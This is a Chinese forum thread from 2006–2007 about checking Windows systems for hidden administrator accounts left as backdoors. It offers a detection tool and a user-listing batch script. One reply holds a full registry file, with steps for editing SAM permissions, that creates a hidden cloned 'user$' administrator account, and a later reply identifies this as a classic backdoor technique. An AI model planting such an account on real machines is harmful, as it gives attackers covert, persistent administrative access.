无忧启动论坛

标题: 检查你的系统有没有隐藏的管理员 [打印本页]

作者: yy2372575 时间: 2006-11-25 12:17
标题: 检查你的系统有没有隐藏的管理员
许多朋友安装的都是网上下载的系统，很有可能他里面有别人留下的隐藏的超级管理员账号作为入侵的后门，让我们快快检查一下，保证自己安全

隐藏管理员账号检测软件.part1.rar

97.66 KB, 下载次数: 396, 下载积分: 无忧币 -2

隐藏管理员账号检测软件.part2.rar

97.66 KB, 下载次数: 376, 下载积分: 无忧币 -2

隐藏管理员账号检测软件.part3.rar

97.66 KB, 下载次数: 368, 下载积分: 无忧币 -2

隐藏管理员账号检测软件.part4.rar

5.98 KB, 下载次数: 308, 下载积分: 无忧币 -2

作者: kmfly 时间: 2006-11-25 12:23
下一个看下自己的系统先

作者: namejm 时间: 2006-11-25 13:28
　　CMD命令行下，用 net user 也可以查看的。如果要查找更详细的信息，可以用如下DOS批处理代码来实现：

@echo off
cd.>netuser.txt
for /f "skip=4 tokens=1-3" %%i in ('net user') do (
if not "%%i"=="命令成功完成。" net use %%i>>netuser.txt 2>nul
if not "%%j"=="" net user %%j>>netuser.txt 2>nul
if not "%%k"=="" net user %%k>>netuser.txt 2>nul
)
start netuser.txt

复制代码

作者: taoty 时间: 2006-11-28 00:21
楼上兄弟的批处理写得确实可以，很方便的。

作者: namejm 时间: 2006-11-28 00:38
　　3F的代码其实只是把所有的用户罗列了出来，没有排版区分管理员和非管理员，需要根据netuser.txt的描述来判断，还是有所不便。不过这个功能是可以做到的。

作者: emutemp 时间: 2006-11-28 02:07
图形界面的方法有吗？

作者: zyccb 时间: 2006-11-28 09:37
下一个看下自己的

作者: hoho1234 时间: 2006-11-28 11:57
提示: 作者被禁止或删除内容自动屏蔽

作者: ccj123 时间: 2006-11-30 13:20
楼上的简单!!

作者: 沙漠之子 时间: 2006-11-30 13:39
用regedt32修改HKEY_LOCAL_MACHINE\SAM\SAM的权限
导入以下注册表文件,可建立一个administrator权限的user$账户
密码(就不说了),用以上方法只有8f的方法看到

再将HKEY_LOCAL_MACHINE\SAM\SAM的权限改回

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\user$]
@=hex(3f0):
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F0]
"F"=hex:02,00,01,00,00,00,00,00,9e,ef,02,c9,38,0e,c7,01,00,00,00,00,00,00,00,\
00,e2,09,31,08,37,12,c7,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,\
00,00,00,00,00,00,00
"V"=hex:00,00,00,00,bc,00,00,00,02,00,01,00,bc,00,00,00,1a,00,00,00,00,00,00,\
00,d8,00,00,00,00,00,00,00,00,00,00,00,d8,00,00,00,1a,00,00,00,00,00,00,00,\
f4,00,00,00,00,00,00,00,00,00,00,00,f4,00,00,00,00,00,00,00,00,00,00,00,f4,\
00,00,00,00,00,00,00,00,00,00,00,f4,00,00,00,00,00,00,00,00,00,00,00,f4,00,\
00,00,00,00,00,00,00,00,00,00,f4,00,00,00,00,00,00,00,00,00,00,00,f4,00,00,\
00,00,00,00,00,00,00,00,00,f4,00,00,00,15,00,00,00,a8,00,00,00,0c,01,00,00,\
08,00,00,00,01,00,00,00,14,01,00,00,14,00,00,00,00,00,00,00,28,01,00,00,14,\
00,00,00,00,00,00,00,3c,01,00,00,04,00,00,00,00,00,00,00,40,01,00,00,04,00,\
00,00,00,00,00,00,01,00,14,80,9c,00,00,00,ac,00,00,00,14,00,00,00,44,00,00,\
00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\
00,00,00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,\
00,58,00,03,00,00,00,00,00,14,00,5b,03,02,00,01,01,00,00,00,00,00,01,00,00,\
00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,\
00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,52,aa,c8,68,\
b4,7b,73,34,07,e5,3b,2b,f4,01,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,\
02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,41,00,64,00,6d,00,\
69,00,6e,00,69,00,73,00,74,00,72,00,61,00,74,00,6f,00,72,00,00,00,a1,7b,06,\
74,a1,8b,97,7b,3a,67,28,00,df,57,29,00,84,76,85,51,6e,7f,10,5e,37,62,00,00,\
ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,90,1d,78,01,\
02,00,00,07,00,00,00,01,00,01,00,a7,67,58,96,30,a1,6e,85,59,66,b1,f9,ba,b2,\
24,81,01,00,01,00,17,c4,df,b8,02,d9,31,e3,9e,71,6a,cf,2b,42,0d,b2,01,00,01,\
00,01,00,01,00

复制代码

[ 本帖最后由沙漠之子于 2006-11-30 01:42 PM 编辑 ]

作者: 沙漠之子 时间: 2006-11-30 13:51
不知有没有更隐蔽的方法呢

作者: leobaidu 时间: 2006-11-30 19:10
谢谢楼主分享，收藏了

作者: xcrblxw 时间: 2006-12-2 20:25
支持一下，好东西。

作者: nhc88 时间: 2006-12-7 21:44
很不错的东东,

作者: ccwan 时间: 2006-12-11 11:50
呵呵，呵呵

作者: rock269 时间: 2006-12-11 17:26
下载一个查查看偶个系统有没有隐藏的管理员帐号

作者: wen200511 时间: 2006-12-12 17:34
下一个看下自己的系统,谢谢.

作者: shijiazhuang999 时间: 2006-12-12 18:17
看来方法着不少检查了一下我的没有

作者: hkpflyrun 时间: 2006-12-30 15:22
长见识了

作者: face1111 时间: 2006-12-30 18:44
很实用啊~！谢谢！

作者: dfyql 时间: 2007-1-4 15:20
谢谢楼主分享

作者: 清风无语 时间: 2007-1-14 16:13
谢谢分享,辛苦了你.

作者: evayou 时间: 2007-1-14 17:34
10楼的可是经典的克隆管理员账号啊，记得在2000年学习hack的时候经常用这种方法远程登录克隆建后门

作者: wjynm 时间: 2007-1-14 17:44
呵呵，对新人有帮助的

作者: xinyubbl 时间: 2007-1-19 15:40
收藏了

作者: ccdx 时间: 2007-1-19 21:04
收下了，谢谢！

作者: chowyu 时间: 2007-1-20 11:00
提示: 作者被禁止或删除内容自动屏蔽

作者: temp2005 时间: 2007-1-20 13:01
这个难道杀毒软件查不出来吗?

作者: yfwa2002 时间: 2007-1-20 15:07
谢谢楼主！下载收藏

欢迎光临无忧启动论坛 (http://wuyou.net/)

Powered by Discuz! X3.3